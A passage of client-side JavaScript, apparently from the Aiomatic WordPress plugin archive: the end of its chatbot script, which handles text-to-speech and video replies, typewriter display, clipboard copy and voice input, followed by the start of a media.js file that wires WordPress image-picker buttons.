appendx += '<div class="ai-bubble ai-other">' + response.data + '</div>'; if(aiomatic_chat_ajax_object.bubble_alignment == 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '</div>'; console.log('Google Text-to-Speech error: ' + errorMessageDetail); jQuery('#aiomatic_chat_history' + instance).html(x_input_text + appendx); // Clear the response container jQuery('#openai-chat-response' + instance).html(' '); // Enable the submit button aiomaticRmLoading(chatbut); } } catch (errorSpeech){ console.log('Exception in Google Text-to-Speech API: ' + errorSpeech); var appendx = '<div class="ai-wrapper">'; if(aiomatic_chat_ajax_object.bubble_alignment != 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '<div class="ai-bubble ai-other">' + response.data + '</div>'; if(aiomatic_chat_ajax_object.bubble_alignment == 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '</div>'; jQuery('#aiomatic_chat_history' + instance).html(x_input_text + appendx); // Clear the response container jQuery('#openai-chat-response' + instance).html(' '); // Enable the submit button aiomaticRmLoading(chatbut); } } speechRequest.send(speechData); } else { if(aiomatic_chat_ajax_object.text_speech == 'did') { has_speech = true; let speechData = new FormData(); speechData.append('nonce', aiomatic_chat_ajax_object.nonce); speechData.append('overwrite_voice', aiomatic_chat_ajax_object.overwrite_voice); speechData.append('x_input_text', response.data); speechData.append('action', 'aiomatic_get_d_id_video_chat'); var speechRequest = new XMLHttpRequest(); speechRequest.open("POST", aiomatic_chat_ajax_object.ajax_url); speechRequest.ontimeout = () => { console.error(`The request for ` + aiomatic_chat_ajax_object.ajax_url + ` timed out.`); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onerror = function () { console.error("Network Error"); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onabort = function () { console.error("The request was aborted."); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onload = function () { var result = speechRequest.responseText; try { var jsonresult = JSON.parse(result); if(jsonresult.status === 'success') { var videoURL = '<video class="ai_video" autoplay="autoplay" controls="controls"><source src="' + jsonresult.video + '" type="video/mp4"></video>'; var appendx = '<div class="ai-wrapper">'; if(aiomatic_chat_ajax_object.bubble_alignment != 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '<div class="ai-bubble ai-other">' + response.data + '</div>'; appendx += '<div class="ai-video">' + videoURL + '</div>'; if(aiomatic_chat_ajax_object.bubble_alignment == 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '</div>'; jQuery('#aiomatic_chat_history' + instance).html(x_input_text + appendx); // Clear the response container jQuery('#openai-chat-response' + instance).html(' '); // Enable the submit button aiomaticRmLoading(chatbut); } else { var errorMessageDetail = 'D-ID: ' + jsonresult.msg; console.log('D-ID Text-to-video error: ' + errorMessageDetail); var appendx = '<div class="ai-wrapper">'; if(aiomatic_chat_ajax_object.bubble_alignment != 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '<div class="ai-bubble ai-other">' + response.data + '</div>'; if(aiomatic_chat_ajax_object.bubble_alignment == 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '</div>'; jQuery('#aiomatic_chat_history' + instance).html(x_input_text + appendx); // Clear the response container jQuery('#openai-chat-response' + instance).html(' '); // Enable the submit button aiomaticRmLoading(chatbut); } } catch (errorSpeech){ console.log('Exception in D-ID Text-to-video API: ' + errorSpeech); var appendx = '<div class="ai-wrapper">'; if(aiomatic_chat_ajax_object.bubble_alignment != 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '<div class="ai-bubble ai-other">' + response.data + '</div>'; if(aiomatic_chat_ajax_object.bubble_alignment == 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '</div>'; jQuery('#aiomatic_chat_history' + instance).html(x_input_text + appendx); // Clear the response container jQuery('#openai-chat-response' + instance).html(' '); // Enable the submit button aiomaticRmLoading(chatbut); } } speechRequest.send(speechData); } else { if(aiomatic_chat_ajax_object.text_speech == 'didstream') { if(avatarImageUrl != '' && did_app_id != '') { if(streamingEpicFail === false) { has_speech = true; myStreamObject.talkToDidStream(response.data); var appendx = '<div class="ai-wrapper">'; if(aiomatic_chat_ajax_object.bubble_alignment != 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '<div class="ai-bubble ai-other">' + response.data + '</div>'; if(aiomatic_chat_ajax_object.bubble_alignment == 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '</div>'; jQuery('#aiomatic_chat_history' + instance).html(x_input_text + appendx); // Clear the response container jQuery('#openai-chat-response' + instance).html(' '); } else { var appendx = '<div class="ai-wrapper">'; if(aiomatic_chat_ajax_object.bubble_alignment != 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '<div class="ai-bubble ai-other">' + response.data + '</div>'; if(aiomatic_chat_ajax_object.bubble_alignment == 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '</div>'; jQuery('#aiomatic_chat_history' + instance).html(x_input_text + appendx); // Clear the response container jQuery('#openai-chat-response' + instance).html(' '); } } else { var appendx = '<div class="ai-wrapper">'; if(aiomatic_chat_ajax_object.bubble_alignment != 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '<div class="ai-bubble ai-other">' + response.data + '</div>'; if(aiomatic_chat_ajax_object.bubble_alignment == 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '</div>'; jQuery('#aiomatic_chat_history' + instance).html(x_input_text + appendx); // Clear the response container jQuery('#openai-chat-response' + instance).html(' '); } } else { if(aiomatic_chat_ajax_object.text_speech == 'free') { var T2S; if("speechSynthesis" in window || speechSynthesis) { var response_data = response.data.replace(/([\u2700-\u27BF]|[\uE000-\uF8FF]|\uD83C[\uDC00-\uDFFF]|\uD83D[\uDC00-\uDFFF]|[\u2011-\u26FF]|\uD83E[\uDD10-\uDDFF])/g, ''); if(response_data != '') { T2S = window.speechSynthesis || speechSynthesis; var utter = new SpeechSynthesisUtterance(response_data); var voiceSetting = aiomatic_chat_ajax_object.free_voice.split(";"); var desiredVoiceName = voiceSetting[0].trim(); var desiredLang = voiceSetting[1].trim(); var voices = T2S.getVoices(); var selectedVoice = voices.find(function(voice) { return voice.name === desiredVoiceName && voice.lang === desiredLang; }); if (selectedVoice) { utter.voice = selectedVoice; utter.lang = selectedVoice.lang; } else { utter.lang = desiredLang; } T2S.speak(utter); } } } var appendx = '<div class="ai-wrapper">'; if(aiomatic_chat_ajax_object.bubble_alignment != 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '<div class="ai-bubble ai-other">' + response.data + '</div>'; if(aiomatic_chat_ajax_object.bubble_alignment == 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '</div>'; jQuery('#aiomatic_chat_history' + instance).html(x_input_text + appendx); // Clear the response container jQuery('#openai-chat-response' + instance).html(' '); // Enable the submit button aiomaticRmLoading(chatbut); } } } } } } else { var appendx = '<div class="ai-wrapper">'; if(aiomatic_chat_ajax_object.bubble_alignment != 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '<div class="ai-bubble ai-other">' + response.data + '</div>'; if(aiomatic_chat_ajax_object.bubble_alignment == 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '</div>'; jQuery('#aiomatic_chat_history' + instance).html(x_input_text + appendx); // Clear the response container jQuery('#openai-chat-response' + instance).html(' '); // Enable the submit button aiomaticRmLoading(chatbut); } } else { var speak_now = false; var has_speech = false; if(aiomatic_chat_ajax_object.receive_message_sound != '') { var snd = new Audio(aiomatic_chat_ajax_object.receive_message_sound); snd.play(); } if(!jQuery('.aiomatic-gg-unmute').length) { if(aiomatic_chat_ajax_object.text_speech == 'elevenlabs') { has_speech = true; speak_now = true; let speechData = new FormData(); speechData.append('nonce', aiomatic_chat_ajax_object.nonce); speechData.append('overwrite_voice', aiomatic_chat_ajax_object.overwrite_voice); speechData.append('x_input_text', response.data); speechData.append('action', 'aiomatic_get_elevenlabs_voice_chat'); var speechRequest = new XMLHttpRequest(); speechRequest.open("POST", aiomatic_chat_ajax_object.ajax_url); speechRequest.responseType = "arraybuffer"; speechRequest.ontimeout = () => { console.error(`The request for ` + aiomatic_chat_ajax_object.ajax_url + ` timed out.`); aiomatic_generator_working = false; typeWriter(); }; speechRequest.onerror = function () { console.error("Network Error"); aiomatic_generator_working = false; typeWriter(); }; speechRequest.onabort = function () { console.error("The request was aborted."); aiomatic_generator_working = false; typeWriter(); }; speechRequest.onload = function () { var blob = new Blob([speechRequest.response], {type: "audio/mpeg"}); var fr = new FileReader(); fr.onload = function () { var fileText = this.result; try { var errorMessage = JSON.parse(fileText); console.log('ElevenLabs API failed: ' + errorMessage.msg); typeWriter(); } catch (errorBlob) { var blobUrl = URL.createObjectURL(blob); var audioElement = document.createElement('audio'); audioElement.src = blobUrl; audioElement.controls = true; audioElement.style.marginTop = "2px"; audioElement.style.width = "100%"; audioElement.addEventListener("error", function(event) { console.error("Error loading or playing the audio: ", event); }); var aiomatic_speech = audioElement.outerHTML; response.data += '</div>' + '<div class="ai-speech">' + aiomatic_speech; typeWriter(); audioElement.play(); } } fr.readAsText(blob); } speechRequest.send(speechData); } else { if(aiomatic_chat_ajax_object.text_speech == 'openai') { speak_now = true; has_speech = true; let speechData = new FormData(); speechData.append('nonce', aiomatic_chat_ajax_object.nonce); speechData.append('overwrite_voice', aiomatic_chat_ajax_object.overwrite_voice); speechData.append('x_input_text', response.data); speechData.append('action', 'aiomatic_get_openai_voice_chat'); var speechRequest = new XMLHttpRequest(); speechRequest.open("POST", aiomatic_chat_ajax_object.ajax_url); speechRequest.responseType = "arraybuffer"; speechRequest.ontimeout = () => { console.error(`The request for ` + aiomatic_chat_ajax_object.ajax_url + ` timed out.`); aiomatic_generator_working = false; typeWriter(); }; speechRequest.onerror = function () { console.error("Network Error"); aiomatic_generator_working = false; typeWriter(); }; speechRequest.onabort = function () { console.error("The request was aborted."); aiomatic_generator_working = false; typeWriter(); }; speechRequest.onload = function () { var blob = new Blob([speechRequest.response], {type: "audio/mpeg"}); var fr = new FileReader(); fr.onload = function () { var fileText = this.result; try { var errorMessage = JSON.parse(fileText); console.log('OpenAI TTS API failed: ' + errorMessage.msg); typeWriter(); } catch (errorBlob) { var blobUrl = URL.createObjectURL(blob); var audioElement = document.createElement('audio'); audioElement.src = blobUrl; audioElement.controls = true; audioElement.style.marginTop = "2px"; audioElement.style.width = "100%"; audioElement.addEventListener("error", function(event) { console.error("Error loading or playing the audio: ", event); }); var aiomatic_speech = audioElement.outerHTML; response.data += '</div>' + '<div class="ai-speech">' + aiomatic_speech; typeWriter(); audioElement.play(); } } fr.readAsText(blob); } speechRequest.send(speechData); } else { if(aiomatic_chat_ajax_object.text_speech == 'google') { speak_now = true; has_speech = true; let speechData = new FormData(); speechData.append('nonce', aiomatic_chat_ajax_object.nonce); speechData.append('overwrite_voice', aiomatic_chat_ajax_object.overwrite_voice); speechData.append('x_input_text', response.data); speechData.append('action', 'aiomatic_get_google_voice_chat'); var speechRequest = new XMLHttpRequest(); speechRequest.open("POST", aiomatic_chat_ajax_object.ajax_url); speechRequest.ontimeout = () => { console.error(`The request for ` + aiomatic_chat_ajax_object.ajax_url + ` timed out.`); aiomatic_generator_working = false; typeWriter(); }; speechRequest.onerror = function () { console.error("Network Error"); aiomatic_generator_working = false; typeWriter(); }; speechRequest.onabort = function () { console.error("The request was aborted."); aiomatic_generator_working = false; typeWriter(); }; speechRequest.onload = function () { var result = speechRequest.responseText; try { var jsonresult = JSON.parse(result); if(jsonresult.status === 'success'){ var byteCharacters = atob(jsonresult.audio); const byteNumbers = new Array(byteCharacters.length); for (let i = 0; i < byteCharacters.length; i++) { byteNumbers[i] = byteCharacters.charCodeAt(i); } const byteArray = new Uint8Array(byteNumbers); const blob = new Blob([byteArray], {type: 'audio/mp3'}); var blobUrl = URL.createObjectURL(blob); var audioElement = document.createElement('audio'); audioElement.src = blobUrl; audioElement.controls = true; audioElement.style.marginTop = "2px"; audioElement.style.width = "100%"; audioElement.addEventListener("error", function(event) { console.error("Error loading or playing the audio: ", event); }); var aiomatic_speech = audioElement.outerHTML; response.data += '</div>' + '<div class="ai-speech">' + aiomatic_speech; typeWriter(); audioElement.play(); } else{ var errorMessageDetail = 'Google: ' + jsonresult.msg; console.log('Google Text-to-Speech error: ' + errorMessageDetail); typeWriter(); } } catch (errorSpeech){ console.log('Exception in Google Text-to-Speech API: ' + errorSpeech); typeWriter(); } } speechRequest.send(speechData); } else { if(aiomatic_chat_ajax_object.text_speech == 'did') { speak_now = true; has_speech = true; let speechData = new FormData(); speechData.append('nonce', aiomatic_chat_ajax_object.nonce); speechData.append('overwrite_voice', aiomatic_chat_ajax_object.overwrite_voice); speechData.append('x_input_text', response.data); speechData.append('action', 'aiomatic_get_d_id_video_chat'); var speechRequest = new XMLHttpRequest(); speechRequest.open("POST", aiomatic_chat_ajax_object.ajax_url); speechRequest.ontimeout = () => { console.error(`The request for ` + aiomatic_chat_ajax_object.ajax_url + ` timed out.`); aiomatic_generator_working = false; typeWriter(); }; speechRequest.onerror = function () { console.error("Network Error"); aiomatic_generator_working = false; typeWriter(); }; speechRequest.onabort = function () { console.error("The request was aborted."); aiomatic_generator_working = false; typeWriter(); }; speechRequest.onload = function () { var result = speechRequest.responseText; try { var jsonresult = JSON.parse(result); if(jsonresult.status === 'success') { var videoURL = '<video class="ai_video" autoplay="autoplay" controls="controls"><source src="' + jsonresult.video + '" type="video/mp4"></video>'; response.data += '</div>' + '<div class="ai-video">' + videoURL; console.log(response.data); typeWriter(); } else { var errorMessageDetail = 'D-ID: ' + jsonresult.msg; console.log('D-ID Text-to-video error: ' + errorMessageDetail); typeWriter(); } } catch (errorSpeech){ console.log('Exception in D-ID Text-to-video API: ' + errorSpeech); typeWriter(); } } speechRequest.send(speechData); } else { if(aiomatic_chat_ajax_object.text_speech == 'didstream') { if(avatarImageUrl != '' && did_app_id != '') { if(streamingEpicFail === false) { has_speech = true; myStreamObject.talkToDidStream(response.data); } } } else { if(aiomatic_chat_ajax_object.text_speech == 'free') { var T2S; if("speechSynthesis" in window || speechSynthesis) { var response_data = response.data.replace(/([\u2700-\u27BF]|[\uE000-\uF8FF]|\uD83C[\uDC00-\uDFFF]|\uD83D[\uDC00-\uDFFF]|[\u2011-\u26FF]|\uD83E[\uDD10-\uDDFF])/g, ''); if(response_data != '') { T2S = window.speechSynthesis || speechSynthesis; var utter = new SpeechSynthesisUtterance(response_data); var voiceSetting = aiomatic_chat_ajax_object.free_voice.split(";"); var desiredVoiceName = voiceSetting[0].trim(); var desiredLang = voiceSetting[1].trim(); var voices = T2S.getVoices(); var selectedVoice = voices.find(function(voice) { return voice.name === desiredVoiceName && voice.lang === desiredLang; }); if (selectedVoice) { utter.voice = selectedVoice; utter.lang = selectedVoice.lang; } else { utter.lang = desiredLang; } T2S.speak(utter); } } } } } } } } } var i = 0; function typeWriter() { if (i < response.data.length) { // Append the response to the input field var appendx = '<div class="ai-wrapper">'; if(aiomatic_chat_ajax_object.bubble_alignment != 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '<div class="ai-bubble ai-other">' + response.data.substring(0, i + 1) + '</div>'; if(aiomatic_chat_ajax_object.bubble_alignment == 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '</div>'; jQuery('#aiomatic_chat_history' + instance).html(x_input_text + appendx); i++; setTimeout(typeWriter, 50); } else { // Clear the response container jQuery('#openai-chat-response' + instance).html(' '); // Enable the submit button aiomaticRmLoading(chatbut); i = 0; } } jQuery('#openai-chat-response' + instance).html(''); if(speak_now === false) { typeWriter(); } } } } else { if(typeof response.msg !== 'undefined') { console.log('Error: ' + JSON.stringify(response)); jQuery('#openai-chat-response' + instance).html('<div class="text-primary highlight-text" role="status">' + response.msg + '</div>'); aiomaticRmLoading(chatbut); } else { console.log('Error: ' + response); jQuery('#openai-chat-response' + instance).html('<div class="text-primary highlight-text" role="status">Processing failed, please try again</div>'); aiomaticRmLoading(chatbut); } } if(has_speech === false) { aiomaticRmLoading(chatbut); } }, error: function(error) { console.log('Error: ' + error.responseText); // Clear the response container jQuery('#openai-chat-response' + instance).html('<div class="text-primary highlight-text" role="status">Failed to generate content, try again later.</div>'); // Enable the submit button aiomaticRmLoading(chatbut); }, }); } } var recognition; var recognizing = false; if(aiomatic_chat_ajax_object.enable_copy == 'on') { jQuery(document).on('click', '.ai-bubble', function (event) { var finder = jQuery(event.target); if(finder !== null) { var jsf = finder.html(); var nlregex = /<br\s*[\/]?>/gi; jsf = jsf.replace(nlregex, "\n"); if(navigator.clipboard !== undefined) { navigator.clipboard.writeText(jsf); } } var popup = jQuery("<div class='popup'>Text copied!</div>"); popup.appendTo("body"); popup.css({ "position": "absolute", "top": event.pageY + 10, "left": event.pageX + 10 }); jQuery(document).mousemove(function(event) { popup.css({ "position": "absolute", "top": event.pageY + 10, "left": event.pageX + 10 }); }); setTimeout(function() { popup.remove(); }, 3000); }); } if(aiomatic_chat_ajax_object.scroll_bot == 'on') { jQuery('#aiomatic_chat_history' + instance).on('DOMSubtreeModified', function(){ var psconsole = jQuery('#aiomatic_chat_history' + instance); if(psconsole.length) { psconsole.scrollTop(psconsole[0].scrollHeight - psconsole.height()); } }); } if(jQuery('#aiomatic_chat_templates' + instance).length) { jQuery('#aiomatic_chat_templates' + instance).on('change', function() { jQuery('#aiomatic_chat_input' + instance).val(jQuery( "#aiomatic_chat_templates" + instance ).val()); }); } // Check if the browser supports the Web Speech API if ('webkitSpeechRecognition' in window) { recognition = new webkitSpeechRecognition(); recognition.onerror = function(event) { console.log('Failed to start speech recognition: ' + JSON.stringify(event)); recognizing = false; if(aiomatic_chat_ajax_object.voice_color !== undefined && aiomatic_chat_ajax_object.voice_color != '' && aiomatic_chat_ajax_object.voice_color != null && aiomatic_chat_ajax_object.voice_color_activated !== undefined && aiomatic_chat_ajax_object.voice_color_activated != '' && aiomatic_chat_ajax_object.voice_color_activated != null) { document.querySelector( '#openai-chat-speech-button' + instance ).style.setProperty( 'background-color', aiomatic_chat_ajax_object.voice_color, 'important' ); } } recognition.onend = function() { recognizing = false; if(aiomatic_chat_ajax_object.voice_color !== undefined && aiomatic_chat_ajax_object.voice_color != '' && aiomatic_chat_ajax_object.voice_color != null && aiomatic_chat_ajax_object.voice_color_activated !== undefined && aiomatic_chat_ajax_object.voice_color_activated != '' && aiomatic_chat_ajax_object.voice_color_activated != null) { document.querySelector( '#openai-chat-speech-button' + instance ).style.setProperty( 'background-color', aiomatic_chat_ajax_object.voice_color, 'important' ); } } recognition.continuous = true; recognition.interimResults = true; // Start the speech recognition when the button is clicked jQuery('#openai-chat-speech-button' + instance).on('click', function() { if (recognizing) { try{ recognition.stop(); } catch(e) { console.log('Speech recognition stop error: ' + e); } recognizing = false; if(aiomatic_chat_ajax_object.voice_color !== undefined && aiomatic_chat_ajax_object.voice_color != '' && aiomatic_chat_ajax_object.voice_color != null && aiomatic_chat_ajax_object.voice_color_activated !== undefined && aiomatic_chat_ajax_object.voice_color_activated != '' && aiomatic_chat_ajax_object.voice_color_activated != null) { this.style.setProperty( 'background-color', aiomatic_chat_ajax_object.voice_color, 'important' ); } } else { try{ recognition.start(); } catch(e) { console.log('Speech recognition start error: ' + e); } recognizing = true; if(aiomatic_chat_ajax_object.voice_color !== undefined && aiomatic_chat_ajax_object.voice_color != '' && aiomatic_chat_ajax_object.voice_color != null && aiomatic_chat_ajax_object.voice_color_activated !== undefined && aiomatic_chat_ajax_object.voice_color_activated != '' && aiomatic_chat_ajax_object.voice_color_activated != null) { this.style.setProperty( 'background-color', aiomatic_chat_ajax_object.voice_color_activated, 'important' ); } } }); // Handle the speech recognition results recognition.onresult = function(event) { for (var i = event.resultIndex; i < event.results.length; ++i) { if (event.results[i].isFinal) { jQuery('#aiomatic_chat_input' + instance).val(jQuery('#aiomatic_chat_input' + instance).val() + " " + event.results[i][0].transcript); if(aiomatic_chat_ajax_object.auto_submit_voice == 'on') { jQuery('#aichatsubmitbut' + instance).click(); } } } }; } }����������������������������scripts/media.js������������������������������������������������������������������������������������0000644�����������������00000035070�14757771437�0007703 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������;;;"use strict"; jQuery(document).ready( function($) { jQuery('input#aiomatic_media_manager_new').on('click', function(e) { e.preventDefault(); var image_frame; if(image_frame){ image_frame.open(); } image_frame = wp.media({ title: 'Select Media', multiple : false, library : { type : 'image', } }); image_frame.on('close',function() { var selection = image_frame.state().get('selection'); var gallery_ids = new Array(); var my_index = 0; selection.each(function(attachment) { gallery_ids[my_index] = attachment['id']; my_index++; }); var ids = gallery_ids.join(","); if(ids.length === 0) return true; jQuery('input#aiomatic_image_id_new').val(ids); Refresh_Image_New(ids); }); image_frame.on('open',function() { var selection = image_frame.state().get('selection'); var ids = jQuery('input#aiomatic_image_id_new').val().split(','); ids.forEach(function(id) { var attachment = wp.media.attachment(id); attachment.fetch(); selection.add( attachment ? [ attachment ] : [] ); }); }); image_frame.open(); }); jQuery('input#aiomatic_media_manager').on('click', function(e) { e.preventDefault(); var image_frame; if(image_frame){ image_frame.open(); } image_frame = wp.media({ title: 'Select Media', multiple : false, library : { type : 'image', } }); image_frame.on('close',function() { var selection = image_frame.state().get('selection'); var gallery_ids = new Array(); var my_index = 0; selection.each(function(attachment) { gallery_ids[my_index] = attachment['id']; my_index++; }); var ids = gallery_ids.join(","); if(ids.length === 0) return true; jQuery('input#aiomatic_image_id').val(ids); Refresh_Image(ids); }); image_frame.on('open',function() { var selection = image_frame.state().get('selection'); var ids = jQuery('input#aiomatic_image_id').val().split(','); ids.forEach(function(id) { var attachment = wp.media.attachment(id); attachment.fetch(); selection.add( attachment ? [ attachment ] : [] ); }); }); image_frame.open(); }); jQuery('input#aiomatic_media_manager_user').on('click', function(e) { e.preventDefault(); var image_frame; if(image_frame){ image_frame.open(); } image_frame = wp.media({ title: 'Select Media', multiple : false, library : { type : 'image', } }); image_frame.on('close',function() { var selection = image_frame.state().get('selection'); var gallery_ids = new Array(); var my_index = 0; selection.each(function(attachment) { gallery_ids[my_index] = attachment['id']; my_index++; }); var ids = gallery_ids.join(","); if(ids.length === 0) return true; jQuery('input#aiomatic_image_id_user').val(ids); Refresh_Image_User(ids); }); image_frame.on('open',function() { var selection = image_frame.state().get('selection'); var ids = jQuery('input#aiomatic_image_id_user').val().split(','); ids.forEach(function(id) { var attachment = wp.media.attachment(id); attachment.fetch(); selection.add( attachment ? [ attachment ] : [] ); }); }); image_frame.open(); }); jQuery('input#aiomatic_media_manager_advanced').on('click', function(e) { e.preventDefault(); var image_frame; if(image_frame){ image_frame.open(); } image_frame = wp.media({ title: 'Select Media', multiple : false, library : { type : 'image', } }); image_frame.on('close',function() { var selection = image_frame.state().get('selection'); var gallery_ids = new Array(); var my_index = 0; selection.each(function(attachment) { gallery_ids[my_index] = attachment['id']; my_index++; }); var ids = gallery_ids.join(","); if(ids.length === 0) return true; jQuery('input#aiomatic_image_id_advanced').val(ids); Refresh_Image_Advanced(ids); }); image_frame.on('open',function() { var selection = image_frame.state().get('selection'); var ids = jQuery('input#aiomatic_image_id_advanced').val().split(','); ids.forEach(function(id) { var attachment = wp.media.attachment(id); attachment.fetch(); selection.add( attachment ? [ attachment ] : [] ); }); }); image_frame.open(); }); jQuery('input#aiomatic_media_clear_b').on('click', function(e) { e.preventDefault(); jQuery('input#aiomatic_image_id_b').val('0'); jQuery('#aiomatic-preview-image-b').removeAttr('src'); jQuery('#aiomatic-preview-image-b').removeAttr('srcset'); jQuery('#aiomatic-preview-image-b').removeAttr('width'); jQuery('#aiomatic-preview-image-b').removeAttr('height'); jQuery('#aiomatic-preview-image-b').removeAttr('sizes'); jQuery('#aiomatic-preview-image-b').removeAttr('loading'); jQuery('#aiomatic-preview-image-b').removeAttr('decoding'); jQuery('#aiomatic-preview-image-b').removeAttr('alt'); jQuery('#aiomatic-preview-image-b').removeAttr('class'); anythingChanged(); }); jQuery('input#aiomatic_media_clear_user_b').on('click', function(e) { e.preventDefault(); jQuery('input#aiomatic_image_id_user_b').val('0'); jQuery('#aiomatic-preview-image-user-b').removeAttr('src'); jQuery('#aiomatic-preview-image-user-b').removeAttr('srcset'); jQuery('#aiomatic-preview-image-user-b').removeAttr('width'); jQuery('#aiomatic-preview-image-user-b').removeAttr('height'); jQuery('#aiomatic-preview-image-user-b').removeAttr('sizes'); jQuery('#aiomatic-preview-image-user-b').removeAttr('loading'); jQuery('#aiomatic-preview-image-user-b').removeAttr('decoding'); jQuery('#aiomatic-preview-image-user-b').removeAttr('alt'); jQuery('#aiomatic-preview-image-user-b').removeAttr('class'); anythingChanged(); }); jQuery('input#aiomatic_media_clear').on('click', function(e) { e.preventDefault(); jQuery('input#aiomatic_image_id').val('0'); jQuery('#aiomatic-preview-image').removeAttr('src'); jQuery('#aiomatic-preview-image').removeAttr('srcset'); jQuery('#aiomatic-preview-image').removeAttr('width'); jQuery('#aiomatic-preview-image').removeAttr('height'); jQuery('#aiomatic-preview-image').removeAttr('sizes'); jQuery('#aiomatic-preview-image').removeAttr('loading'); jQuery('#aiomatic-preview-image').removeAttr('decoding'); jQuery('#aiomatic-preview-image').removeAttr('alt'); jQuery('#aiomatic-preview-image').removeAttr('class'); }); jQuery('input#aiomatic_media_clear_user').on('click', function(e) { e.preventDefault(); jQuery('input#aiomatic_image_id_user').val('0'); jQuery('#aiomatic-preview-image-user').removeAttr('src'); jQuery('#aiomatic-preview-image-user').removeAttr('srcset'); jQuery('#aiomatic-preview-image-user').removeAttr('width'); jQuery('#aiomatic-preview-image-user').removeAttr('height'); jQuery('#aiomatic-preview-image-user').removeAttr('sizes'); jQuery('#aiomatic-preview-image-user').removeAttr('loading'); jQuery('#aiomatic-preview-image-user').removeAttr('decoding'); jQuery('#aiomatic-preview-image-user').removeAttr('alt'); jQuery('#aiomatic-preview-image-user').removeAttr('class'); }); jQuery('input#aiomatic_media_clear_new').on('click', function(e) { e.preventDefault(); jQuery('input#aiomatic_image_id_new').val('0'); jQuery('#aiomatic-preview-image-new').removeAttr('src'); jQuery('#aiomatic-preview-image-new').removeAttr('srcset'); jQuery('#aiomatic-preview-image-new').removeAttr('width'); jQuery('#aiomatic-preview-image-new').removeAttr('height'); jQuery('#aiomatic-preview-image-new').removeAttr('sizes'); jQuery('#aiomatic-preview-image-new').removeAttr('loading'); jQuery('#aiomatic-preview-image-new').removeAttr('decoding'); jQuery('#aiomatic-preview-image-new').removeAttr('alt'); jQuery('#aiomatic-preview-image-new').removeAttr('class'); }); jQuery('input#aiomatic_media_manager_b').on('click', function(e) { e.preventDefault(); var image_frame; if(image_frame){ image_frame.open(); } image_frame = wp.media({ title: 'Select Media', multiple : false, library : { type : 'image', } }); image_frame.on('close',function() { var selection = image_frame.state().get('selection'); var gallery_ids = new Array(); var my_index = 0; selection.each(function(attachment) { gallery_ids[my_index] = attachment['id']; my_index++; }); var ids = gallery_ids.join(","); if(ids.length === 0) return true; jQuery('input#aiomatic_image_id_b').val(ids); Refresh_Image_b(ids); anythingChanged(); }); image_frame.on('open',function() { var selection = image_frame.state().get('selection'); var ids = jQuery('input#aiomatic_image_id_b').val().split(','); ids.forEach(function(id) { var attachment = wp.media.attachment(id); attachment.fetch(); selection.add( attachment ? 